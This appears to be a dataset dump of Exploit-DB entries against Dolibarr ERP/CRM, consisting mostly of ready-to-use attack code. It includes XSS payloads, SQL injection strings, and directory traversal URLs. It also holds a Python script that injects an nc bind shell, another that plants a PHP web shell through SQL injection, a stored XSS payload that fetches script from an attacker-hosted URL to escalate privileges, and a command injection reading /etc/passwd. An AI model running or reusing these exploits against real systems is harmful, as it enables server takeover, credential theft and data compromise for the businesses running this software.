deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47384
Description: Dolibarr ERP-CRM 10.0.1 - 'User-Agent' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-13
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: Dolibarr ERP/CRM 10.0.1 - User-Agent Http Header Cross
Site Scripting
# Exploit Author: Metin Yunus Kandemir (kandemir)
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://www.dolibarr.org/downloads
# Version: 10.0.1
# Category: Webapps
# Tested on: Xampp for Linux
# CVE: CVE-2019-16197
# Software Description : Dolibarr ERP & CRM is a modern and easy to use
software package to manage your business...
==================================================================

Description: In htdocs/societe/card.php in Dolibarr 10.0.1, the value of
the User-Agent HTTP header is copied into the HTML document as plain text
between tags, leading to XSS.

GET /dolibarr-10.0.1/htdocs/societe/card.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0ab<script>alert("XSS")</script>
Exploit-DB #49269
Description: Dolibarr ERP-CRM 12.0.3 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-12-17
Author: Yilmaz Degirmenci

Exploit:
# Exploit Title: Dolibarr ERP-CRM 12.0.3 - Remote Code Execution (Authenticated)
# Date: 2020.12.17
# Exploit Author: Yilmaz Degirmenci
# Vendor Homepage: https://github.com/Dolibarr/dolibarr
# Software Link: https://sourceforge.net/projects/dolibarr/
# Version: 12.0.3
# Tested on: Kali Linux 2020.2

# Vulnerability Description: Open source ERP-CRM Dolibarr 12.0.3 is
# vulnerable to authenticated Remote Code Execution Attack. An attacker who
# has the access the admin dashboard can manipulate the backup function by
# inserting payload into the zipfilename_template parameter at page
# /admin/tools/dolibarr_export.php by clicking on the button "Generate
# Backup" thus triggering command injection on target system.

import requests
from bs4 import BeautifulSoup
from bs4 import Comment
import re
import lxml
import json
import urllib

username = input("username: ")
password = input("password: ")
root_url = input("Root URL: http://192.168.0.15/ --> ")

print("Exploit is sent! Check out if the bind shell on port 9999 active!")

listener_port = "9999"

login_url = root_url + "/index.php?mainmenu=home "
vulnerable_url = root_url + "/admin/tools/dolibarr_export.php"
upload_url = root_url + "/admin/tools/export_files.php"

session = requests.Session()
request = session.get(login_url)

# Get the token value
soup = BeautifulSoup(request.text,"lxml")
token = soup.find("input",{'name':'token'})['value']

# Login
body = {"token":token, "actionlogin":"login",
"loginfunction":"loginfunction", "tz":"-5",
"tz_string":"America%2FNew_York", "dst_observed":"1",
"dst_first":"2020-03-8T01%3A59%3A00Z", "dst_second":
"2020-11-1T01%3A59%3A00Z", "screenwidth":"1668", "screenheight":"664",
"dol_hide_topmenu":"", "dol_hide_leftmenu":"",
"dol_optimize_smallscreen":"", "dol_no_mouse_hover":"",
"dol_use_jmobile":"", "username":username,"password":password}

session.post(login_url, data=body, cookies=request.cookies)

request = session.get(vulnerable_url)
token = soup.find("input",{'name':'token'})['value']

header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0",
"Accept":"*/",
"Accept-Encoding": "gzip, deflate",
"Origin": root_url,
"Referer":
root_url+"/admin/tools/dolibarr_export.php?mainmenu=home&leftmenu=admintools",
"Upgrade-Insecure-Requests": "1"
}

body = {"token":token, "export_type":"server", "page_y":"1039",
"zipfilename_template":"documents_dolibarr_12.0.3_[PII_REDACTED]22.tar
--use-compress-program='nc -c bash -nlvp  9999' %0a  :: ",
"compression":"gz"}

param = urllib.parse.urlencode(body, quote_via=urllib.parse.quote)

session.post(upload_url, data=body, params=param, cookies=request.cookies, headers=header)
Exploit-DB #50432
Description: Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation
Type: webapps
Platform: php
Date: 2021-10-20
Author: Oscar Gil Gutierrez

Exploit:
# Exploit Title: Dolibarr ERP-CRM 14.0.2 - Stored Cross-Site Scripting (XSS) / Privilege Escalation
# Exploit Author: Oscar Gutierrez (m4xp0w3r)
# Date: 18/10/2021
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://github.com/Dolibarr
# Tested on: Ubuntu, LAAMP
# Vendor: Dolibarr
# Version: v14.0.2

# Exploit Description:
# Dolibarr ERP & CRM v14.0.2 suffers from a stored XSS vulnerability in the ticket creation flow that allows a low level user (with full access to the Tickets module) to achieve full permissions. For this attack vector to work, an administrator user needs to copy the text in the "message" box. 
# Instructions:
#1. Insert this payload in the message box when creating a ticket: "><span onbeforecopy="let pwned = document.createElement('script'); pwned.setAttribute('src', 'http://YOURIPGOESHERE/hax.js'); document.body.appendChild(pwned);" contenteditable>test</span>
#
#2. Host this file (Change the extension of the file to js and remove comments) in a remote http location of your preference. 
#NOTE: The user id in /dolibarr/htdocs/user/perms.php?id=2 may vary depending on the installation so you might have to change this. In my case, I had only 2 users, user 2 being the low level user. 
#
#3.Once an administrator user copies the text within the ticket the attack will launch.

function read_body(xhr) {

    var data = xhr.responseXML;
    var tokenizedUrl = data.getElementsByClassName("reposition commonlink")[0].href;
    console.log(tokenizedUrl);
    return tokenizedUrl;

}

function escalatePrivs() {
    var url = read_body(xhr);
    var http = new XMLHttpRequest();
    http.open('GET', url);
    http.onreadystatechange = function() {
            if (this.readyState  === XMLHttpRequest.DONE && this.status === 200) {
                    return;
            }
    };
    http.send(null);
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
            read_body(xhr);
            escalatePrivs(xhr);
    }
}
xhr.open('GET', '/dolibarr/htdocs/user/perms.php?id=2', true);
Exploit-DB #46095
Description: Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-08
Author: Mehmet Onder

Exploit:
# Title: Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection
# Date: 08.01.2019
# Exploit Author: Mehmet Önder Key
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/8.0.4/dolibarr-8.0.4.zip
# Version: v8.0.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
Dolibarr ERP - CRM is an easy to use ERP and CRM open source software
package (run with a web php server or as standalone software) for
businesses, foundations or freelancers (prospect, invoicing, inventory,
warehouse, order, shipment, POS, members for foundations, bank accounts...)

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.


# POC - SQLi :

# Parameter: rowid (POST)
# Request URL: http://localhost/doli/htdocs/admin/dict.php?id=16

#    Type : Error Based
actionmodify=Modify&button_removefilter=Remove
filter&button_search=Search&code=PL_NONE&entity=&from=&libelle=None&page=0&position=1&rowid=\%'
AND EXTRACTVALUE(6385,CONCAT(0x5c,0x716b717871,(SELECT
(ELT(6385=6385,1))),0x[PII_REDACTED])) AND
'%'='&search_code=94102&token=$2y$10$KhKjYSBlkY24Xl8v.d0ZruN98LAFOAZ5a5dzi4Lxe3g21Gx46deHK
Exploit-DB #35651
Description: Dolibarr ERP/CRM 3.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-22
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47542/info

Dolibarr is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the affected application. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Dolibarr 3.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/dolibarr-3.0.0/htdocs/document.php?lang=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

http://www.example.com/dolibarr-3.0.0/htdocs/user/passwordforgotten.php?theme=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00
Exploit-DB #17202
Description: Dolibarr ERP/CRM 3.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-22
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Dolibarr 3.0.0
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://www.dolibarr.org/
Discovery Date..........4/21/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A local file inclusion vulnerability in Dolibarr 3.0.0 can be
exploited to include arbitrary files.


--PoC--

http://localhost/dolibarr-3.0.0/htdocs/user/passwordforgotten.php?theme=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00

------------------------------------------------------------------------
Software................Dolibarr 3.0.0
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://www.dolibarr.org/
Discovery Date..........4/21/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in Dolibarr 3.0.0 can
be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/dolibarr-3.0.0/htdocs/document.php?lang=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #36330
Description: Dolibarr ERP/CRM 3.1 - Multiple Script URI Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50777/info

Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://www.example.com/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3 E
http://www.example.com/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29% 3E
http://www.example.com/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%2 9%3E
http://www.example.com/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E
http://www.example.com/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.coo kie%29%3E

Successful exploitation of this vulnerabilities requires that Apache&#039;s directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
Exploit-DB #36333
Description: Dolibarr ERP/CRM 3.1.0 - '/admin/boxes.php?rowid' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50777/info
   
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE
Exploit-DB #36331
Description: Dolibarr ERP/CRM 3.1.0 - '/user/index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-11-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50777/info
 
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29, 3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://www.example.com/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CO DE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://www.example.com/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder= SQL_CODE_HERE
http://www.example.com/user/group/index.php?sall=SQL_CODE_HERE
Exploit-DB #36332
Description: Dolibarr ERP/CRM 3.1.0 - '/user/info.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/50777/info
  
Dolibarr is prone to multiple cross-site scripting and SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Dolibarr 3.1.0 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/user/info.php?id=1 INTO OUTFILE &#039;../../../tmp/example&#039;
Exploit-DB #36873
Description: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-22
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/52113/info

Dolibarr is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected.

http://www.example.com/document.php?modulepart=project&file=../[FILE INCLUDE VULNERABILITY!]
Exploit-DB #28971
Description: Dolibarr ERP/CRM 3.4.0 - 'exportcsv.php?sondage' SQL Injection
Type: webapps
Platform: php
Date: 2013-10-15
Author: drone

Exploit:
# Exploit Title: Dolibarr 3.4.0 SQLi
# Date: 10/7/2013
# Exploit author: drone (@dronesec)
# More information: http://forelsec.blogspot.com/2013/10/dolibarr-340-multiple-vulnerabilities.html
# Vendor homepage: http://www.dolibarr.org/
# Software link: 
# Version: 3.4.0
# Fixed in: 3.4.1
# Tested on: Ubuntu 12.04 (apparmor disabled)

import urllib2
import string
import random
from argparse import ArgumentParser

""" Preauth web shell via SQL injection
    Dolibarr 3.4.0
"""

def run(options):
    """ run exploit
    """
    print '[!] Dropping web shell on %s...' % options.ip
    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
    sqli = 'http://{0}{1}/htdocs/opensurvey/public/exportcsv.php?sondage='\
                                            .format(options.ip, options.rootp)

    # ' UNION SELECT '<?php system($_GET['cmd'])?>,2,3,[..]13 INTO OUTFILE 'yourshell';-- -
    exploit = '\'%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20\'<?php%20system($_GET[\\\'cmd\\\'])?>\''\
              ',2,3,4,5,6,7,8,9,10,11,12,13%20INTO%20OUTFILE%20\'{0}/{1}.php\';%20--%20-%20'\
                        .format(options.path, shell)

    try:
        urllib2.urlopen(sqli + exploit)
        print '[!] Shell dropped.  http://%s%s/documents/%s.php?cmd=ls' % \
                                                    (options.ip, options.rootp, shell)
    except Exception, e:
        print '[-] %s' % e

def parse():
    """ Parse cli
    """
    parser = ArgumentParser()
    parser.add_argument('-i', help='Server address', action='store', dest='ip', required=True)
    parser.add_argument('-p', help='Path to Dolibarr install (/dolibarr)', action='store',
                            default='/dolibarr', dest='rootp')
    parser.add_argument('-w', help='Path to drop shell (/var/www/dolibarr/documents)',
                            action='store', default='/var/www/dolibarr/documents', dest='path')

    options = parser.parse_args()
    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__ == "__main__":
    run(parse())
Exploit-DB #36683
Description: Dolibarr ERP/CRM 3.x - '/adherents/fiche.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-02-10
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/51956/info

Dolibarr is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dolibarr 3.2.0 Alpha is vulnerable; other versions may also be affected. 

http://www.example.com/adherents/fiche.php?rowid=-1%27
Exploit-DB #45945
Description: Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-12-04
Author: AkkuS

Exploit:
# Exploit Title: Dolibarr ERP/CRM <= 8.0.3 - Cross-Site Scripting
# CVE: CVE-2018-19799
# Date: 2018-11-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://dolibarr.org
# Software Link: http://sourceforge.net/projects/dolibarr/files/
# Version: v8.0.3
# Category: Webapps
# Tested on: XAMPP for Linux 7.2.8-0
# Software Description : Dolibarr ERP & CRM is a modern and easy to use software package to manage your business.
# (customers, invoices, orders, products, stocks, agenda, e-mailings, shipments...)
# Description : Exploiting these issues could allow an attacker to steal cookie-based authentication credentials,
# compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
# Dolibarr 8.0.3 is vulnerable; prior versions may also be affected.
# ==================================================================

# PoC:

# GET Request : /exports/export.php?step=2&datatoexport=[XSS PAYLOAD]&action=selectfield&field=pj.ref&page_y=627
Exploit-DB #18725
Description: Dolibarr ERP/CRM < 3.2.0 / < 3.1.1 - OS Command Injection
Type: webapps
Platform: php
Date: 2012-04-09
Author: Nahuel Grisolia

Exploit:
Dolibarr ERP & CRM OS Command Injection
===================================

1. Advisory Information
Date published: 2012-4-6
Vendors contacted: Dolibarr
Release mode: Coordinated release

2. Vulnerability Information
Class: Injection
Remotely Exploitable: Yes
Locally Exploitable: Yes

3. Software Description
Dolibarr ERP & CRM is a modern web software to manage your activity (contacts, invoices, orders, stocks, agenda, etc...). It's an opensource and free software designed for small companies, foundations and freelances.

4. Vulnerability Description
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker�s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.

5. Vulnerable packages
Dolibarr <= 3.1.1
Dolibarr <= 3.2.0

6. Non-vulnerable packages
Vendor said that the vulnerability was fixed in Development version of 3.2.X branch. However, the fix for 3.1.X branch will be published by June. Vendor accepted the public disclosure of this vulnerability.

7. Credits
This vulnerability was discovered by Nahuel Grisolia 
( nahuel @ cintainfinita.com.ar )

8. Technical Description
8.1. OS Command Injection � PoC Example
CVSSv2 Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Dolibarr is prone to remote command execution vulnerability because the software fails to adequately sanitize user-supplied input.
A command injection attack can be executed if specially crafted parameters are sent. 
Successful attacks can compromise the affected Web Server and its software.
The following proof of concept is given:
POST /dolibarr/admin/tools/export.php HTTP/1.1
[�]
Cookie: DOLSESSID_[�]=[�]

token=[...]&export_type=server&what=mysql&mysqldump=%2Fusr%2Fbin%2Fmysqldump&use_transaction=yes&disable_fk=yes&sql_compat=;cat
/etc/passwd > /tmp/cintainfinitapasswd;&sql_structure=structure&drop=1&sql_data=data&showcolumns=yes&extended_ins=yes&delayed=yes&sql_ignore=yes&hexforbinary=yes&filename_template=mysqldump_dolibarrdebian_3.1.1_[PII_REDACTED]16.sql&compression=none


9. Report Timeline
* 2012-03-26 / Vendor notification
* 2012-03-27 / Vulnerability details sent to Vendor
* 2012-03-27 / Vendor fix � See 6. Non-vulnerable packages
* 2012-04-06 / Public Disclosure � PoC attached